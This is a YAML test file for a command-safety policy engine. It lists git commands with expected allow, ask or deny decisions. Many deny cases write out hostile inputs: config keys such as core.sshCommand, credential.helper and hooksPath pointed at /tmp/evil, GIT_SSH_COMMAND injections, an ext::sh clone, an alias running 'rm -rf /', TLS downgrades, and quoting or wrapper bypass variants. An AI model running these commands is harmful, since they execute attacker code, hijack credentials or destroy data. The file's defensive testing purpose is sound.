# ============================================================
# GIT GOLDEN TESTS - Comprehensive git command coverage
# ============================================================
#
# Organization:
#   1. Core read-only commands (always safe)
#   2. Staging and committing
#   3. Branch operations
#   4. Remote operations
#   5. Tag operations
#   6. Stash operations
#   7. History rewriting (reset, clean, revert)
#   8. Config modification
#   9. Worktree operations
#   10. Reflog operations
#   11. GC operations
#   12. Bisect operations
#   13. File operations (mv, rm, grep)
#   14. Archive operations
#   15. Repository setup (clone, init)
#   16. Merge and cherry-pick
#   17. Force push (always ask)
#   18. Rebase (representative tests - see git-rebase.yaml for comprehensive coverage)
#   19. Special cases (symbolic-ref)
#
# ============================================================

tests:

  # ============================================================
  # 1. CORE READ-ONLY COMMANDS (always safe)
  # ============================================================

  - id: git-status-safe
    command: "git status"
    expected:
      decision: allow
  - id: git-diff-safe
    command: "git diff"
    expected:
      decision: allow
  - id: git-diff-staged
    command: "git diff --staged"
    expected:
      decision: allow
  - id: git-log-safe
    command: "git log"
    expected:
      decision: allow
  - id: git-log-oneline
    command: "git log --oneline -10"
    expected:
      decision: allow
  - id: git-show-safe
    command: "git show"
    expected:
      decision: allow
  - id: git-show-commit
    command: "git show abc1234"
    expected:
      decision: allow
  - id: git-rev-parse-safe
    command: "git rev-parse HEAD"
    expected:
      decision: allow
  - id: git-blame-safe
    command: "git blame src/main.rs"
    expected:
      decision: allow
  - id: git-describe-safe
    command: "git describe --tags"
    expected:
      decision: allow
  - id: git-shortlog-safe
    command: "git shortlog -sn"
    expected:
      decision: allow
  - id: git-ls-files-safe
    command: "git ls-files"
    expected:
      decision: allow
  - id: git-ls-remote-safe
    command: "git ls-remote"
    expected:
      decision: allow
  - id: git-ls-remote-tags-origin
    command: "git ls-remote --tags origin"
    expected:
      decision: allow
  - id: git-ls-remote-piped-grep
    command: "git ls-remote --tags origin | grep v0.4.1"
    expected:
      decision: allow
  - id: git-ls-tree-safe
    command: "git ls-tree HEAD"
    expected:
      decision: allow
  - id: git-cat-file-safe
    command: "git cat-file -p HEAD"
    expected:
      decision: allow

  # ============================================================
  # 2. STAGING AND COMMITTING
  # ============================================================

  - id: git-add
    command: "git add ."
    expected:
      decision: allow
  - id: git-commit
    command: "git commit -m 'fix: some bug'"
    expected:
      decision: allow
  - id: git-commit-amend
    command: "git commit --amend"
    expected:
      decision: ask
      rule_id: git-commit-amend
  - id: git-commit-amend-message
    command: "git commit --amend -m 'updated message'"
    expected:
      decision: ask
      rule_id: git-commit-amend

  # ============================================================
  # 3. BRANCH OPERATIONS
  # ============================================================

  - id: git-branch-safe
    command: "git branch"
    expected:
      decision: allow
  - id: git-branch-list-safe
    command: "git branch -a"
    expected:
      decision: allow
  - id: git-branch-delete-safe
    command: "git branch -d feature"
    expected:
      decision: allow
    # Safe delete (fails if not merged)
  - id: git-branch-force-delete
    command: "git branch -D feature"
    expected:
      decision: ask
      rule_id: git-branch-delete-force
    # Force delete can lose unmerged work
  - id: git-switch-safe
    command: "git switch feature-branch"
    expected:
      decision: allow
  - id: git-restore-safe
    command: "git restore file.txt"
    expected:
      decision: allow

  # ============================================================
  # 4. REMOTE OPERATIONS
  # ============================================================

  - id: git-remote-list-safe
    command: "git remote -v"
    expected:
      decision: allow
  - id: git-remote-show-safe
    command: "git remote show origin"
    expected:
      decision: allow
  - id: git-remote-add
    command: "git remote add upstream https://github.com/foo/bar"
    expected:
      decision: ask
    # Modifies remote configuration
  - id: git-remote-remove
    command: "git remote remove origin"
    expected:
      decision: ask
    # Removes remote
  - id: git-remote-set-url
    command: "git remote set-url origin https://evil.com/repo"
    expected:
      decision: ask
    # Could redirect to malicious repo
  - id: git-fetch
    command: "git fetch origin"
    expected:
      decision: allow
  - id: git-pull-safe
    command: "git pull"
    expected:
      decision: allow
  - id: git-pull-origin
    command: "git pull origin main"
    expected:
      decision: allow
  - id: git-pull-rebase-safe
    command: "git pull --rebase"
    expected:
      decision: allow
  - id: git-pull-force-dangerous
    command: "git pull --force"
    expected:
      decision: ask
    # Can overwrite local changes
  - id: git-push
    command: "git push origin feature-branch"
    expected:
      decision: ask
    # git push requires full trust; default trust is standard

  # ============================================================
  # 5. TAG OPERATIONS
  # ============================================================

  - id: git-tag-list-safe
    command: "git tag -l"
    expected:
      decision: allow
  - id: git-tag-create-safe
    command: "git tag v1.0.0"
    expected:
      decision: allow
  - id: git-tag-delete
    command: "git tag -d v1.0.0"
    expected:
      decision: ask
    # Deletes tag
  - id: git-tag-delete-remote
    command: "git push origin --delete v1.0.0"
    expected:
      decision: ask
    # Deletes remote tag

  # ============================================================
  # 6. STASH OPERATIONS
  # ============================================================

  - id: git-stash-save-safe
    command: "git stash"
    expected:
      decision: allow
  - id: git-stash-push
    command: "git stash push"
    expected:
      decision: allow
  - id: git-stash-list-safe
    command: "git stash list"
    expected:
      decision: allow
  - id: git-stash-pop-safe
    command: "git stash pop"
    expected:
      decision: allow
  - id: git-stash-apply-safe
    command: "git stash apply"
    expected:
      decision: allow
  - id: git-stash-apply-index-safe
    command: "git stash apply stash@{0}"
    expected:
      decision: allow
  - id: git-stash-drop-dangerous
    command: "git stash drop"
    expected:
      decision: ask
    # Loses stashed work
  - id: git-stash-drop-specific
    command: "git stash drop stash@{0}"
    expected:
      decision: ask
    # Loses stashed work
  - id: git-stash-clear-dangerous
    command: "git stash clear"
    expected:
      decision: ask
    # Loses ALL stashed work

  # ============================================================
  # 7. HISTORY REWRITING (dangerous)
  # ============================================================

  # --- git reset ---
  - id: git-reset-hard
    command: "git reset --hard HEAD~1"
    expected:
      decision: ask
      rule_id: git-reset-hard
  - id: git-reset-hard-head
    command: "git reset --hard"
    expected:
      decision: ask
      rule_id: git-reset-hard

  # --- git clean ---
  - id: git-clean-f
    command: "git clean -f"
    expected:
      decision: ask
      rule_id: git-clean-force
  - id: git-clean-fd
    command: "git clean -fd"
    expected:
      decision: ask
      rule_id: git-clean-force
  - id: git-clean-fx
    command: "git clean -fx"
    expected:
      decision: ask
      rule_id: git-clean-force
  - id: git-clean-fxd
    command: "git clean -fxd"
    expected:
      decision: ask
      rule_id: git-clean-force

  # --- git revert (standard trust - creates new commit, non-destructive) ---
  - id: git-revert-safe
    command: "git revert HEAD"
    expected:
      decision: allow
  - id: git-revert-commit-safe
    command: "git revert abc123"
    expected:
      decision: allow

  # ============================================================
  # 8. CONFIG MODIFICATION
  # ============================================================

  - id: git-config-read-safe
    command: "git config user.name"
    expected:
      decision: allow
  - id: git-config-local-safe
    command: "git config user.email foo@bar.com"
    expected:
      decision: allow
    # Local config is relatively safe
  - id: git-config-global-dangerous
    command: "git config --global user.email foo@bar.com"
    expected:
      decision: ask
    # Modifies global git config
  - id: git-config-system-dangerous
    command: "git config --system core.editor vim"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
    # Persistent set of core.editor is on the RCE-key list; deny regardless
    # of value (vim today, /tmp/evil tomorrow). Was ASK pre-v0.16.9.

  # --- Repo-corrupting core flags (deny) ---
  - id: git-config-core-bare-deny
    command: "git config core.bare true"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags
    # core.bare detaches the working tree; can silently corrupt the repo
  - id: git-config-core-worktree-deny
    command: "git config core.worktree /tmp/elsewhere"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags
    # core.worktree redirects the working tree to an arbitrary path
  - id: git-config-core-hookspath-deny
    command: "git config core.hooksPath /tmp/evil-hooks"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags
    # core.hooksPath redirects all git hooks to attacker-controlled scripts
  - id: git-config-core-repofmt-deny
    command: "git config core.repositoryformatversion 99"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags
    # core.repositoryformatversion can render the repo unparseable
  - id: git-config-core-bare-global-deny
    command: "git config --global core.bare true"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags
    # Critical (deny) wins over global (ask) — most-restrictive ordering

  # --- Joined key=value form (key and value as a single positional) ---
  - id: git-config-core-bare-joined-deny
    command: "git config core.bare=true"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags
    # `key=value` joined-positional form must not bypass
  - id: git-config-core-hookspath-joined-deny
    command: "git config core.hooksPath=/tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags

  # --- `git -c key=value <subcommand>` ad-hoc override (the silent channel) ---
  - id: git-c-core-bare-commit-deny
    command: "git -c core.bare=true commit -m x"
    expected:
      decision: deny
      rule_id: git-c-corrupting-core-flags
    # The ad-hoc override channel that motivated the rule
  - id: git-c-core-hookspath-commit-deny
    command: "git -c core.hooksPath=/tmp/evil commit -am x"
    expected:
      decision: deny
      rule_id: git-c-corrupting-core-flags
  - id: git-c-core-worktree-status-deny
    command: "git -c core.worktree=/tmp/elsewhere status"
    expected:
      decision: deny
      rule_id: git-c-corrupting-core-flags

  # --- Reads and unsets must NOT deny (unset is the corruption fix path) ---
  - id: git-config-get-core-bare-allow
    command: "git config --get core.bare"
    expected:
      decision: allow
    # Read-only sanity check; falls through to allowlisted git config
  - id: git-config-unset-core-bare-allow
    command: "git config --unset core.bare"
    expected:
      decision: allow
    # `--unset core.bare` is the fix when the repo got corrupted; must not deny
  - id: git-config-list-core-allow
    command: "git config --list"
    expected:
      decision: allow
    # Plain --list listing should not be denied even though args may include core.X strings

  # --- `git log --grep core.bare` must NOT false-positive ---
  - id: git-log-grep-core-bare-allow
    command: "git log --grep core.bare"
    expected:
      decision: allow
    # Searching commit messages for the literal string is a read

  # --- --config-env injection variant ---
  - id: git-c-config-env-core-bare-deny
    command: "GIT_BARE=true git --config-env=core.bare=GIT_BARE status"
    expected:
      decision: deny
      rule_id: git-c-corrupting-core-flags
    # `--config-env=key=ENVVAR` is the env-var injection cousin of `-c key=value`

  # --- `git -c key=value` for SAFE keys must allow the underlying subcommand ---
  # Pre-fix these landed as ASK with reason "Unrecognized command: git" because
  # the `-c key=value` pair confused the allowlist's flag-skip logic.
  - id: git-c-commit-gpgsign-allow
    command: "git -c commit.gpgsign=false commit -m x"
    expected:
      decision: allow
    # The signing-toggle override is identical to a plain `git commit` for safety
  - id: git-c-user-email-commit-allow
    command: "git -c user.email=a@b commit -m x"
    expected:
      decision: allow
  - id: git-c-color-ui-log-allow
    command: "git -c color.ui=false log --oneline"
    expected:
      decision: allow
  - id: git-c-combined-uppercase-and-lowercase-allow
    command: "git -C /tmp/x -c commit.gpgsign=false commit -m foo"
    expected:
      decision: allow
    # `-C <path>` and `-c <key>=<value>` strip together
  - id: git-c-commit-gpgsign-push-still-asks
    command: "git -c commit.gpgsign=false push origin main"
    expected:
      decision: ask
    # The trust-gated git-push reason still surfaces; -c doesn't lift trust

  # --- `git -c key=value` RCE channels: substituted-program keys must deny ---
  - id: git-c-core-sshcommand-deny
    command: "git -c core.sshCommand=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-core-editor-commit-deny
    command: "git -c core.editor=/tmp/evil commit"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-core-pager-log-deny
    command: "git -c core.pager=/tmp/evil log"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-core-fsmonitor-deny
    command: "git -c core.fsmonitor=/tmp/evil status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-core-gitproxy-deny
    command: "git -c core.gitProxy=/tmp/evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-gpg-program-deny
    command: "git -c gpg.program=/tmp/evil commit -S -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-gpg-ssh-program-deny
    command: "git -c gpg.ssh.program=/tmp/evil commit -S -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-safe-directory-deny
    command: "git -c safe.directory=/tmp commit -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # safe.directory bypasses CVE-2022-24765 ownership-mismatch protection
  - id: git-c-protocol-ext-deny
    command: "git -c protocol.ext.allow=always clone ext::sh"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-protocol-file-deny
    command: "git -c protocol.file.allow=always clone file:///tmp/x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-uploadpack-hook-deny
    command: "git -c uploadpack.packObjectsHook=/tmp/evil push origin main"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-pager-log-deny
    command: "git -c pager.log=/tmp/evil log"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # pager.<cmd> sets a per-subcommand pager program

  # --- `--config-env` env-injection variants of the RCE channels ---
  - id: git-config-env-sshcommand-deny
    command: "GIT_SSH=evil git --config-env=core.sshCommand=GIT_SSH fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-config-env-gpg-deny
    command: "GIT_GPG=evil git --config-env=gpg.program=GIT_GPG commit -S -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- `git --git-dir` / `--work-tree` / `--namespace` space forms ---
  # Pre-fix these likely tripped the same flag-skip bug for some shapes.
  - id: git-git-dir-space-form-status-allow
    command: "git --git-dir /tmp/g status"
    expected:
      decision: allow
  - id: git-work-tree-space-form-status-allow
    command: "git --work-tree /tmp/w status"
    expected:
      decision: allow
  - id: git-namespace-space-form-log-allow
    command: "git --namespace ns log --oneline"
    expected:
      decision: allow

  # --- `git log --grep` must NOT false-positive on RCE-key strings ---
  - id: git-log-grep-sshcommand-allow
    command: "git log --grep=core.sshCommand"
    expected:
      decision: allow
    # The `--grep=PATTERN` form is one token starting with `--`; the joined
    # value is the pattern, not a config key, and must not trip the deny rule

  # --- Case-folding bypass coverage (git config keys are case-insensitive) ---
  - id: git-c-core-sshcommand-lowercase-deny
    command: "git -c core.sshcommand=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-core-sshcommand-uppercase-section-deny
    command: "git -c CORE.sshCommand=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-core-sshcommand-all-uppercase-deny
    command: "git -c core.SSHCOMMAND=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-safe-directory-uppercase-deny
    command: "git -c safe.DIRECTORY=/tmp commit -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-protocol-ext-uppercase-deny
    command: "git -c PROTOCOL.ext.allow=always clone ext::sh"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-gpg-uppercase-deny
    command: "git -c GPG.program=/tmp/evil commit -S -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- Missed RCE keys: gpg.ssh.defaultKeyCommand, credential.helper, include.path ---
  - id: git-c-gpg-ssh-defaultkeycommand-deny
    command: "git -c gpg.ssh.defaultKeyCommand=/tmp/evil commit -S -m x"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-credential-helper-deny
    command: "git -c credential.helper=/tmp/evil push origin main"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-credential-per-url-helper-deny
    command: "git -c credential.https://x.com.helper=/tmp/evil push origin main"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-include-path-deny
    command: "git -c include.path=/tmp/evil status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-includeif-gitdir-deny
    command: "git -c includeIf.gitdir:/tmp.path=/tmp/evil status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-includeif-onbranch-deny
    command: "git -c includeIf.onbranch:main.path=/tmp/evil status"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- Persistent `git config <key> <value>` form must deny the same RCE keys ---
  - id: git-config-set-sshcommand-deny
    command: "git config core.sshCommand /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-sshcommand-local-flag-deny
    command: "git config --local core.sshCommand /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-sshcommand-global-flag-deny
    command: "git config --global core.sshCommand /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-sshcommand-uppercase-deny
    command: "git config CORE.sshCommand /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-credential-helper-deny
    command: "git config credential.helper /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-include-path-deny
    command: "git config include.path /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-keyvalue-form-deny
    command: "git config core.editor=/tmp/evil"
    expected:
      decision: deny
    # Joined form `git config key=value` (no separate value arg)

  # --- Persistent reads / unsets must NOT deny ---
  - id: git-config-get-sshcommand-allow
    command: "git config --get core.sshCommand"
    expected:
      decision: allow
  - id: git-config-unset-sshcommand-allow
    command: "git config --unset core.sshCommand"
    expected:
      decision: allow
    # Unset is the repair path after corruption; must not deny
  - id: git-config-list-allow
    command: "git config --list"
    expected:
      decision: allow
    # Bare list never denies despite reading core.X strings

  # --- Bare-key read form `git config <key>` (one arg, no value) must allow ---
  - id: git-config-bare-key-read-sshcommand-allow
    command: "git config core.sshCommand"
    expected:
      decision: allow
    # git interprets `git config <key>` (one arg) as a get; not a set.
    # Pre-fix this denied via the over-broad bare-key pattern; min_args=3
    # carve-out fixes it.
  - id: git-config-bare-key-read-credential-helper-allow
    command: "git config credential.helper"
    expected:
      decision: allow
  - id: git-config-get-regexp-allow
    command: "git config --get-regexp core.*"
    expected:
      decision: allow
  - id: git-config-remove-section-allow
    command: "git config --remove-section core"
    expected:
      decision: allow

  # --- Additional missed RCE keys (Codex R1) ---
  - id: git-c-core-askpass-deny
    command: "git -c core.askPass=/tmp/evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-sequence-editor-deny
    command: "git -c sequence.editor=/tmp/evil rebase -i HEAD~1"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-diff-external-deny
    command: "git -c diff.external=/tmp/evil diff"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-difftool-cmd-deny
    command: "git -c difftool.foo.cmd=/tmp/evil difftool"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-mergetool-cmd-deny
    command: "git -c mergetool.foo.cmd=/tmp/evil mergetool"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-filter-clean-deny
    command: "git -c filter.foo.clean=/tmp/evil add file"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-filter-smudge-deny
    command: "git -c filter.foo.smudge=/tmp/evil checkout file"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-filter-process-deny
    command: "git -c filter.foo.process=/tmp/evil add file"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
  - id: git-c-submodule-update-bang-deny
    command: "git -c submodule.foo.update=!cmd submodule update"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- Persistent setter form must deny same keys ---
  - id: git-config-set-askpass-deny
    command: "git config core.askPass /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-diff-external-deny
    command: "git config diff.external /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-filter-process-deny
    command: "git config filter.foo.process /tmp/evil"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform
  - id: git-config-set-submodule-update-deny
    command: "git config submodule.foo.update !cmd"
    expected:
      decision: deny
      rule_id: git-config-rce-keys-spaceform

  # --- Alias bang setter (separate value arg) ---
  - id: git-config-alias-bang-single-quoted-deny
    command: "git config alias.x '!rm -rf /'"
    expected:
      decision: deny
      rule_id: git-config-alias-bang
  - id: git-config-alias-bang-double-quoted-deny
    command: "git config alias.x \"!rm -rf /\""
    expected:
      decision: deny
      rule_id: git-config-alias-bang
  - id: git-config-alias-non-bang-allow
    command: "git config alias.co checkout"
    expected:
      decision: allow
    # Non-bang alias is just a subcommand alias; not RCE
  - id: git-config-alias-bare-key-allow
    command: "git config alias.x"
    expected:
      decision: allow

  # --- Older corrupting-core rules now case-insensitive (R2 fix) ---
  - id: git-c-core-bare-uppercase-deny
    command: "git -c CORE.BARE=true commit -m x"
    expected:
      decision: deny
      rule_id: git-c-corrupting-core-flags
  - id: git-config-core-bare-uppercase-deny
    command: "git config CORE.BARE true"
    expected:
      decision: deny
      rule_id: git-config-corrupting-core-flags

  # --- GIT_* env-var bypasses (R2 fix) ---
  - id: git-env-ssh-command-deny
    command: "GIT_SSH_COMMAND=evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-editor-deny
    command: "GIT_EDITOR=evil git commit -m x"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-pager-deny
    command: "GIT_PAGER=evil git log"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-proxy-command-deny
    command: "GIT_PROXY_COMMAND=evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-external-diff-deny
    command: "GIT_EXTERNAL_DIFF=evil git diff"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-config-count-deny
    command: "GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.sshCommand GIT_CONFIG_VALUE_0=evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-config-global-deny
    command: "GIT_CONFIG_GLOBAL=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-ssl-no-verify-deny
    command: "GIT_SSL_NO_VERIFY=1 git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-ssh-deny
    command: "GIT_SSH=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-askpass-deny
    command: "GIT_ASKPASS=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-exec-path-deny
    command: "GIT_EXEC_PATH=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: git-env-lowercase-deny
    command: "git_ssh_command=evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
    # Env var name case-insensitivity per the rule's case_insensitive: true
  - id: git-env-non-rce-allow
    command: "GIT_AUTHOR_NAME=foo git commit -m x"
    expected:
      decision: allow
    # GIT_AUTHOR_NAME is not on the deny list

  # --- Transport program flags (R2 fix) ---
  - id: git-fetch-upload-pack-joined-deny
    command: "git fetch --upload-pack=evil origin"
    expected:
      decision: deny
      rule_id: git-transport-program-flags
  - id: git-fetch-upload-pack-space-deny
    command: "git fetch --upload-pack evil origin"
    expected:
      decision: deny
      rule_id: git-transport-program-flags-spaceform
  - id: git-fetch-exec-deny
    command: "git fetch --exec=evil origin"
    expected:
      decision: deny
      rule_id: git-transport-program-flags
  - id: git-clone-receive-pack-deny
    command: "git clone --receive-pack=evil http://example.com/x"
    expected:
      decision: deny
      rule_id: git-transport-program-flags

  # --- TLS verification downgrade (R2 fix) ---
  - id: git-c-http-sslverify-false-deny
    command: "git -c http.sslVerify=false fetch"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-c-http-sslverify-0-deny
    command: "git -c http.sslVerify=0 fetch"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-c-http-per-url-sslverify-deny
    command: "git -c http.https://example.com/.sslVerify=false fetch"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-config-http-sslverify-deny
    command: "git config http.sslVerify false"
    expected:
      decision: deny
      rule_id: git-config-tls-downgrade
  - id: git-c-http-sslverify-true-allow
    command: "git -c http.sslVerify=true fetch"
    expected:
      decision: allow
    # Re-enabling verify is not a downgrade; allow

  # ============================================================
  # R2 (Opus) findings — env-wrapper, ANSI-C, --receive-pack space form,
  # TLS trust-anchor keys
  # ============================================================

  # --- env wrapper must propagate VAR=val into the inner command's
  # assignments so git-env-rce-vars fires (R2 P0-1). ---
  - id: env-wrapper-git-ssh-command-deny
    command: "env GIT_SSH_COMMAND=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
    # Pre-fix: `env GIT_SSH_COMMAND=evil git fetch` → ask (printenv) because
    # ArgSkip::Assignments stripped the env var without propagating it onto
    # the synthesized inner SimpleCommand's assignments. The env matcher then
    # had nothing to match. Fix: wrappers.rs unwrap_transparent() now
    # collects skipped VAR=val tokens and merges them into inner.assignments.
  - id: env-wrapper-multiple-assignments-deny
    command: "env -i GIT_SSH=foo GIT_PAGER=evil git log"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: env-wrapper-config-count-deny
    command: "env GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.sshCommand GIT_CONFIG_VALUE_0=evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars

  # --- timeout / nice / nohup wrappers must also propagate trailing
  # VAR=val tokens (R2 P1-1). Pre-fix: `timeout 30 GIT_SSH_COMMAND=evil git
  # fetch` → ask (mis-parsed, GIT_SSH_COMMAND=evil treated as inner cmd
  # name). Fix: universal phase-2b in unwrap_transparent. ---
  - id: timeout-wrapper-git-ssh-command-deny
    command: "timeout 30 GIT_SSH_COMMAND=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: nice-wrapper-git-ssh-command-deny
    command: "nice GIT_SSH_COMMAND=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
  - id: nohup-wrapper-git-ssh-command-deny
    command: "nohup GIT_SSH_COMMAND=/tmp/evil git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars

  # --- `git push --receive-pack PROG` (space form) must deny (R2 P0-3).
  # Pre-fix: only the joined `--receive-pack=PROG` denied; the space form
  # fell through to ask via the trust-gated git push. ---
  - id: git-push-receive-pack-spaceform-deny
    command: "git push --receive-pack evil origin master"
    expected:
      decision: deny
      rule_id: git-transport-program-flags-spaceform
  - id: git-fetch-upload-pack-spaceform-deny
    command: "git fetch --upload-pack evil origin"
    expected:
      decision: deny
      rule_id: git-transport-program-flags-spaceform

  # --- TLS trust-anchor keys missed in R1 (R2 P0-4) ---
  - id: git-c-http-sslcainfo-deny
    command: "git -c http.sslCAInfo=/tmp/evil.pem clone https://example.com/r"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-c-http-sslcapath-deny
    command: "git -c http.sslCAPath=/tmp/evil clone https://example.com/r"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-c-http-sslversion-deny
    command: "git -c http.sslVersion=tlsv1.0 clone https://example.com/r"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-c-http-sslbackend-deny
    command: "git -c http.sslBackend=foo fetch"
    expected:
      decision: deny
      rule_id: git-c-tls-downgrade
  - id: git-config-http-sslcainfo-deny
    command: "git config http.sslCAInfo /tmp/evil.pem"
    expected:
      decision: deny
      rule_id: git-config-tls-downgrade
  - id: git-config-http-sslversion-deny
    command: "git config http.sslVersion tlsv1.0"
    expected:
      decision: deny
      rule_id: git-config-tls-downgrade

  # --- `git rebase --exec "cmd"` must NOT be denied by transport-flag rule.
  # `--exec` (space form) is a legitimate (already-trust-gated) rebase flow.
  # Confirms we did not over-broaden the transport-program-flags rule. ---
  - id: git-rebase-exec-spaceform-still-asks
    command: "git rebase --exec \"make test\" main"
    expected:
      decision: ask
      rule_id: git-rebase
    # git rebase already ask-gated; --exec doesn't override that to deny

  # --- ANSI-C `$'...'` quoting must not bypass the rule (R2 P0-2). ---
  # NOTE: pre-fix this allows because tree-sitter preserves `$'...'`
  # literal text. After parser fix, this should deny via git-c-rce-keys.
  - id: git-c-ansic-sshcommand-deny
    command: "git -c $'core.sshCommand=/tmp/evil' fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys

  # --- Negative regression: case-sensitive default. An existing
  # case-sensitive rule must NOT match an uppercase pattern, proving
  # case_insensitive: false is the default and the new flag is opt-in. ---
  - id: cargo-uppercase-test-not-allowlisted
    command: "cargo TEST"
    expected:
      decision: ask
    # The `cargo test` allowlist entry is case-sensitive and `TEST` should
    # not match it. If a future refactor makes the allowlist or args
    # match case-insensitive globally, this test catches it.

  # --- Negative regression: case-sensitive default applies to existing
  # rules. `rm -RF` (uppercase) does not match the `rm -rf` deny pattern
  # since flag-matching is case-sensitive. The command falls through to
  # the rm-generic ask rule. If this ever flips to deny, an unintended
  # global case-insensitivity change has crept in. ---
  - id: rm-uppercase-rf-stays-ask
    command: "rm -RF /tmp/foo"
    expected:
      decision: ask
      rule_id: rm-generic

  # ============================================================
  # R2 (Codex) findings — GIT_CONFIG_PARAMETERS, concatenation /
  # escape bypasses, dynamic $VAR strip, --config-env space form
  # ============================================================

  # --- GIT_CONFIG_PARAMETERS env var (R2 Codex P1-1) ---
  - id: git-env-config-parameters-deny
    command: "GIT_CONFIG_PARAMETERS=foo git fetch"
    expected:
      decision: deny
      rule_id: git-env-rce-vars
    # GIT_CONFIG_PARAMETERS accepts the same key=value syntax as -c, so it's
    # equivalent to the -c channel. Pre-fix: allowed via the value field
    # being present in the env. Post-fix: GIT_CONFIG_PARAMETERS is in the
    # deny list and the env matcher fires regardless of value.

  # --- Concatenation forms (R2 Codex P1-2) ---
  - id: git-c-concat-bareword-quoted-deny
    command: "git -c \"core.ssh\"Command=evil fetch"
    expected:
      decision: deny
      rule_id: git-c-rce-keys
    # Concat of double-quoted "core.ssh" + bareword Command=evil. Without
